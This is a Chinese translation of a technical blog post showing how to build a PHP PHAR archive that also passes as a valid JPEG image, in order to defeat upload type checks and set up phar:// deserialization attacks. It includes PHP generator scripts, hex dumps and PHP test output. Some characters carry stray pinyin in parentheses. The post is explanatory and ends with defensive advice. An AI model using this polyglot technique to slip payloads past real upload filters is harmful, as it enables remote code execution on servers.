攻擊者是如何將PHP Phar包偽裝成圖像以繞過(guò)文件類型檢測(cè)的(推薦)
在US BlackHat 2018大會(huì)上,安全人員證明,攻擊者不僅可以利用PHAR包發(fā)動(dòng)RCE攻擊,而且,通過(guò)調(diào)整其二進(jìn)制內(nèi)容,他們還可以將其偽裝成一幅圖像,從而繞過(guò)安全檢查。
在本文中,我們來(lái)看看第二點(diǎn)是如何做到的。
背景知識(shí)
在US BlackHat 2018大會(huì)期間,Sam Thomas召開了一個(gè)關(guān)于在PHP中利用 phar:// 流包裝器來(lái)實(shí)現(xiàn)針對(duì)服務(wù)器的代碼執(zhí)行攻擊的研討會(huì)( 幻燈片 )。
在運(yùn)行PHAR包時(shí),由于PHP會(huì)對(duì)其內(nèi)容進(jìn)行反序列化,從而允許攻擊者啟動(dòng)一個(gè)PHP對(duì)象包含鏈。其中,最有趣的部分在于如何觸發(fā)有效載荷:歸檔上的任何文件操作都將執(zhí)行它。最后,攻擊者根本無(wú)需關(guān)心文件名是否正確,因?yàn)榧词故鞘〉奈募{(diào)用,PHP也會(huì)對(duì)其內(nèi)容進(jìn)行反序列化處理。
此外,攻擊者完全可以將PHAR包偽裝成一幅圖像:在這篇文章中,我們將為讀者解釋他們是如何做到這一點(diǎn)的。
降至字節(jié)碼級(jí)別
有時(shí)我們會(huì)忘記這一點(diǎn),那就是在機(jī)器眼里,文件只不過(guò)是一堆遵循預(yù)定義結(jié)構(gòu)的字節(jié)而已。對(duì)于應(yīng)用程序而言,將檢查自己是否可以管理這樣的數(shù)據(jù)流,如果可以的話,就會(huì)生成相應(yīng)的輸出。
在Thomas的演講中,曾提示如何創(chuàng)建具有有效JPEG頭部的PHAR包。

圖片引自Sam Thomas的幻燈片
不過(guò),這里我們要做的是創(chuàng)建一個(gè)具有JPEG頭部的文件,并更新PHAR的校驗(yàn)和。這樣一來(lái),PHAR包一方面會(huì)被視為一個(gè)圖像,同時(shí),PHP還可以繼續(xù)執(zhí)行它。
開始下手
聽起來(lái),這里只需修改幾個(gè)字節(jié)并更新校驗(yàn),按說(shuō)應(yīng)該非常輕松,對(duì)吧?
然而,事實(shí)并非如此。
計(jì)算校驗(yàn)和(至少對(duì)我來(lái)說(shuō))是一件讓人頭痛的事情。所以,我想:如果讓PHP來(lái)代勞的話,會(huì)怎樣呢?
所以,我對(duì)Thomas的原始劇本進(jìn)行了一番改造,具體如下所示:
<?php
class TestObject {}
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->addFromString("test.txt","test");
$phar->setStub("\xFF\xD8\xFF\xFE\x13\xFA\x78\x74 __HALT_COMPILER(); ?>");
$o = new TestObject();
$phar->setMetadata($o);
$phar->stopBuffering();
如您所見,這里將原始HEX字節(jié)添加到了PHAR存檔的存根部分。下面是原始HEX得到的結(jié)果:
tampe125@AlphaCentauri:~$ xxd phar.jpeg
00000000: ffd8 fffe 13fa 7874 205f 5f48 414c 545f ......xt __HALT_
00000010: 434f 4d50 494c 4552 2829 3b20 3f3e 0d0a COMPILER(); ?>..
00000020: 4c00 0000 0100 0000 1100 0000 0100 0000 L...............
00000030: 0000 1600 0000 4f3a 3130 3a22 5465 7374 ......O:10:"Test
00000040: 4f62 6a65 6374 223a 303a 7b7d 0800 0000 Object":0:{}....
00000050: 7465 7374 2e74 7874 0400 0000 177e 7a5b test.txt.....~z[
00000060: 0400 0000 0c7e 7fd8 b601 0000 0000 0000 .....~..........
00000070: 7465 7374 6f9e d6c6 7d3f ffaa 7bc8 35ea testo...}?..{.5.
00000080: bfb5 ecb8 7294 2692 0200 0000 4742 4d42 ....r.&.....GBMB
這同時(shí)是一個(gè)合法的PHAR包,以及一幅合法的JPEG圖像嗎?
tampe125@AlphaCentauri:~$ file phar.jpeg
phar.jpeg: JPEG image data
tampe125@AlphaCentauri:~$ php -a
php > var_dump(mime_content_type('phar.jpeg'));
php shell code:1:
string(10) "image/jpeg"
php > var_dump(file_exists('phar://phar.jpeg/test.txt'));
php shell code:1:
bool(true)
看到了吧,PHP將其視為一幅圖像,我們?nèi)匀豢梢蕴剿鞔鏅n的內(nèi)容。哈哈,好玩吧!
注意:請(qǐng)仔細(xì)查看存根部分,看看它是如何“跳過(guò)”開頭部分的PHP標(biāo)記的。因?yàn)檫@里是繞過(guò)大多數(shù)內(nèi)容掃描程序的關(guān)鍵所在。對(duì)于存檔來(lái)說(shuō),是否有效的關(guān)鍵在于函數(shù) __HALT_COMPILER() ; 我認(rèn)為,PHP會(huì)通過(guò)它來(lái)確定出應(yīng)該“跳過(guò)”多少數(shù)據(jù)。
更進(jìn)一步
到目前為止,我們制作的文件已經(jīng)可以通過(guò)任何基于文件頭的類型檢測(cè)了,但是,對(duì)于更高級(jí)的檢測(cè)方法來(lái)說(shuō),它就無(wú)能為力了。例如,使用 getimagesize 來(lái)檢查文件內(nèi)容是否為圖像的話,將返回false,因?yàn)樗⒉皇且环罢嬲钡膱D像:
tampe125@AlphaCentauri:~$ php -a
php > var_dump(getimagesize('phar.jpeg'));
php shell code:1:
bool(false)
看到了吧。
但是,別忘了,我們可以在 __HALT_COMPILER() 標(biāo)記之前填充任意的數(shù)據(jù)的,所以,如果我們?cè)诖颂钊胍环暾膱D像的話,會(huì)怎樣呢?于是,我花了大量的時(shí)間去研讀 JPEG規(guī)范 和 PHP源代碼 ,不過(guò)最后仍然沒有理出頭緒,所以,我果斷決定放棄——太復(fù)雜了。
那么,能否直接使用GIMP創(chuàng)建10x10黑色圖像并嵌入其中呢?
<?php
class TestObject {}
$jpeg_header_size =
"\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x01\x01\x00\x48\x00\x48\x00\x00\xff\xfe\x00\x13".
"\x43\x72\x65\x61\x74\x65\x64\x20\x77\x69\x74\x68\x20\x47\x49\x4d\x50\xff\xdb\x00\x43\x00\x03\x02".
"\x02\x03\x02\x02\x03\x03\x03\x03\x04\x03\x03\x04\x05\x08\x05\x05\x04\x04\x05\x0a\x07\x07\x06\x08\x0c\x0a\x0c\x0c\x0b\x0a\x0b\x0b\x0d\x0e\x12\x10\x0d\x0e\x11\x0e\x0b\x0b\x10\x16\x10\x11\x13\x14\x15\x15".
"\x15\x0c\x0f\x17\x18\x16\x14\x18\x12\x14\x15\x14\xff\xdb\x00\x43\x01\x03\x04\x04\x05\x04\x05\x09\x05\x05\x09\x14\x0d\x0b\x0d\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14".
"\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\xff\xc2\x00\x11\x08\x00\x0a\x00\x0a\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01".
"\xff\xc4\x00\x15\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xc4\x00\x14\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xda\x00\x0c\x03".
"\x01\x00\x02\x10\x03\x10\x00\x00\x01\x95\x00\x07\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x05\x02\x1f\xff\xc4\x00\x14\x11".
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20".
"\xff\xda\x00\x08\x01\x02\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x06\x3f\x02\x1f\xff\xc4\x00\x14\x10\x01".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x21\x1f\xff\xda\x00\x0c\x03\x01\x00\x02\x00\x03\x00\x00\x00\x10\x92\x4f\xff\xc4\x00\x14\x11\x01\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda".
"\x00\x08\x01\x02\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x10\x1f\xff\xd9";
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->addFromString("test.txt","test");
$phar->setStub($jpeg_header_size." __HALT_COMPILER(); ?>");
$o = new TestObject();
$phar->setMetadata($o);
$phar->stopBuffering();
好了,看看效果如何:
tampe125@AlphaCentauri:~$ file phar.jpeg
phar.jpeg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, comment: "Created with GIMP", progressive, precision 8, 10x10, frames 3
tampe125@AlphaCentauri:~$ php -a
php > var_dump(mime_content_type('phar.jpeg'));
php shell code:1:
string(10) "image/jpeg"
php > var_dump(file_exists('phar://phar.jpeg/test.txt'));
php shell code:1:
bool(true)
php > var_dump(getimagesize('phar.jpeg'));
php shell code:1:
array(7) {
[0] =>
int(10)
[1] =>
int(10)
[2] =>
int(2)
[3] =>
string(22) "width="10" height="10""
'bits' =>
int(8)
'channels' =>
int(3)
'mime' =>
string(10) "image/jpeg"
}
這次,我們?nèi)缭敢詢斄?。這個(gè)文件不僅是一個(gè)包含我們想要利用的類的PHAR包,同時(shí),它還是一幅合法的圖像(我們甚至可以用系統(tǒng)圖像查看器打開它):

小結(jié)
正如我們剛才看到的,文件實(shí)際上只是一堆字節(jié)而已:如果我們只是利用其元數(shù)據(jù)進(jìn)行類型檢測(cè)的話,那么很可能會(huì)出錯(cuò):攻擊者可以輕松繞過(guò)檢測(cè),并返回他們想要的文件類型。要想檢測(cè)文件類型,更加可靠的解決方案是直接讀取文件內(nèi)容并搜索惡意字符串。
相關(guān)文章
Python numpy 提取矩陣的某一行或某一列的實(shí)例
下面小編就為大家分享一篇Python numpy 提取矩陣的某一行或某一列的實(shí)例,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過(guò)來(lái)看看吧2018-04-04
Python實(shí)現(xiàn)電腦壁紙的采集與輪換效果
這篇文章主要為大家介紹了如何利用Python實(shí)現(xiàn)電腦壁紙的采集以及輪換效果,文中的示例代碼講解詳細(xì),對(duì)我們學(xué)習(xí)Python有一定幫助,需要的可以參考一下2022-04-04
聊聊PyTorch中eval和no_grad的關(guān)系
這篇文章主要介紹了聊聊PyTorch中eval和no_grad的關(guān)系,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過(guò)來(lái)看看吧2021-05-05
用python基于appium模塊開發(fā)一個(gè)自動(dòng)收取能量的小助手
大家都有了解過(guò)螞蟻森林吧,本篇文章帶給你自動(dòng)收取螞蟻森林能量的思路與方法,基于appium模塊開發(fā)一個(gè)自動(dòng)收取能量的小助手,本文給大家介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或工作具有一定的價(jià)值2021-09-09
使用TensorFlow直接獲取處理MNIST數(shù)據(jù)方式
今天小編就為大家分享一篇使用TensorFlow直接獲取處理MNIST數(shù)據(jù)方式,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過(guò)來(lái)看看吧2020-02-02
Python使用MySQLdb for Python操作數(shù)據(jù)庫(kù)教程
這篇文章主要介紹了Python使用MySQLdb for Python操作數(shù)據(jù)庫(kù)教程,詳細(xì)講述了MySQLdb的用法,針對(duì)Python操作MySQL數(shù)據(jù)庫(kù)程序設(shè)計(jì)具有很好的參考借鑒價(jià)值,需要的朋友可以參考下2014-10-10
Python實(shí)現(xiàn)快速計(jì)算詞頻功能示例
這篇文章主要介紹了Python實(shí)現(xiàn)快速計(jì)算詞頻功能,結(jié)合實(shí)例形式總結(jié)分析了Python使用nltk庫(kù)進(jìn)行詞頻計(jì)算功能的相關(guān)操作技巧,需要的朋友可以參考下2018-06-06

